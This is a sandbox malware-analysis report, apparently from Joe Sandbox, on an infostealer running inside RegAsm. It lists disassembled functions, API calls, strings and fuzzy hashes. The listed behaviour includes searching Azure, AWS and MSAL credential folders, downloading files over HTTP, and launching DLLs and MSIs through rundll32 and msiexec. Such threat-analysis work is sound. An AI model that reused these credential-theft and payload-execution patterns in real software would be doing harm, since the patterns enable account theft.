Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EF0768,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EF1D88,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00410DE0 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410E17
strtok_s.MSVCRT ref: 00411260

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Strings

P!, xrefs: 00411028
H , xrefs: 004110FF
!, xrefs: 00410F99
X", xrefs: 00410F51
h!, xrefs: 00410FE1

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: H $P!$X"$h!$!
API String ID: 348468850-2264289343
Opcode ID: 5681baca44479edad4815839ee0f5985e846549ff3984511cd583c41c31b2efb
Instruction ID: 43f8ac416cb9b823db2283ba99bf4afb511f8f06efa02481fc3f2e7b5d6f774f
Opcode Fuzzy Hash: 5681baca44479edad4815839ee0f5985e846549ff3984511cd583c41c31b2efb
Instruction Fuzzy Hash: B5C1C4B1900219ABCB14EF60DC89FDA7378BB64308F0045DEF50AA7251EA74AAD5CF95

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00EF2B80), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

Azure\.aws, xrefs: 0041493F
*.*, xrefs: 00414944
\.azure\, xrefs: 004148A1
msal.cache, xrefs: 004149D0
Azure\.azure, xrefs: 004148B3
Azure\.IdentityService, xrefs: 004149CB
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
*.*, xrefs: 004148B8
\.IdentityService\, xrefs: 004149B9
\.aws\, xrefs: 0041492D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 119bee4012b50d53810d25ee449bf11495158d20ea5a39e276b6011887ba47b7
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 119bee4012b50d53810d25ee449bf11495158d20ea5a39e276b6011887ba47b7
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004062D0 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,00EF2A50), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,00EF2120,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

P*, xrefs: 00406348
ERROR, xrefs: 00406519
GET, xrefs: 004063CC
!, xrefs: 004063C1
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: !$ERROR$ERROR$GET$P*
API String ID: 3871519372-3729939451
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EEAB28,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415412
ERROR, xrefs: 00415116
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415173
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415329

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

/i ", xrefs: 00412EF4
.dll, xrefs: 00412CF5
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
.msi, xrefs: 00412EA8
", xrefs: 00412B80
"" , xrefs: 00412BAA
/passive, xrefs: 00412F6B
<, xrefs: 00412FA0
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe$"
API String ID: 2507796910-2189984091
Opcode ID: 6ee6d052da32828931550af4a5a2f121102e163698b635b400b74046eb065d53
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 6ee6d052da32828931550af4a5a2f121102e163698b635b400b74046eb065d53
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 004060F0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,00EF2A50), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

P*, xrefs: 00406189
q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: P*$q&A$q&A
API String ID: 449328342-3183479480
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,00EE6518,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

- , xrefs: 00418043
%s\%s, xrefs: 00417EED
?, xrefs: 00417E1A

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

\, xrefs: 00417000
:, xrefs: 00416FFC
C, xrefs: 00416FEC

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
